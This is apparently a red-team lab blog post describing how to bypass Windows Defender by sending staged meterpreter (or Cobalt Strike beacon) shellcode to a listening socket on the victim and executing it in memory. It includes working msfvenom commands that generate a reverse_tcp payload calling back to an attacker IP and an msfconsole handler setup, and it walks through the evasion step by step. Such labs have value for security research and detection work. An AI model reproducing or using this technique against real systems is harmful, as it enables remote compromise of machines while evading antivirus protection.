If you've tried executing an out of the box meterpreter payload on the box with Windows Defender, you know it may get picked up right away as can be seen in the below gif:
This quick lab shows how I was able to execute the off the shelf meterpreter payload against the latest Windows Defender (7th of May at the time of writing) by delivering the shellcode over a TCP socket.
Works with Cobalt Strike Beacon
The demo uses metasploit's meterpreter payload, but I have tested this technique with Cobalt Strike beacon and it also bypasses the Windows Defender.
Overview
The technique that allowed me to bypass Windows Defender is simple:
Victim machine (10.0.0.7) opens up a listening TCP socket on on port 443 (or any other)
Socket on the victim machine waits for incoming shellcode
Attacking machine (10.0.0.5) connects to the victim socket and sends the shellcode as binary data
Victim machine receives the shellcode, allocates executable memory and moves the shellcode there
Victim machine executes the shellcode received over the network and initiates meterpreter (or cobalt strike beacon) second stage download
Attacking machine serves the stage and catches the shell
Execution
Let's write, compile a simple PoC C++ program (see Code section) that will do all of the steps explained in the overview section.
Let's execute it on the victim machine and check if the socket on port 443 has been opened:
attacker@victim
netstat -nat | findstr /i listen | findstr /i 443
Let's generate a staged meterpreter payload and output it to C format:
attacker@kali
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443-f c >meterpreter.c
Let's setup an msf handler to catch the meterpreter session on the attacking machine:
attacker@kali
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit"
We can now take the shellcode from the C file and echo it out as a binary data, pipe it to the victim machine (where a TCP socket is listening on 443) via netcat:
We are now ready to execute the attack. Below shows all of the above in action:
Cmd shell in the middle of the screen opens the TCP socket (port 443) on the victim machine
Windows Defender below the cmd shell shows the signatures are up to date
Top right - msfconsole is waiting and ready to send the second stage from the attacking system
Bottom right - attacker sends the shellcode to the victim over the wire via netcat
Top right - msfconsole serves the second stage to the victim and establishes the meterpreter session
Conclusion
Why this works? I can only speculate. I am a huge fan of Windows Defender and I think it is doing an amazing job at catching evil and I am sure this will be caught very soon.
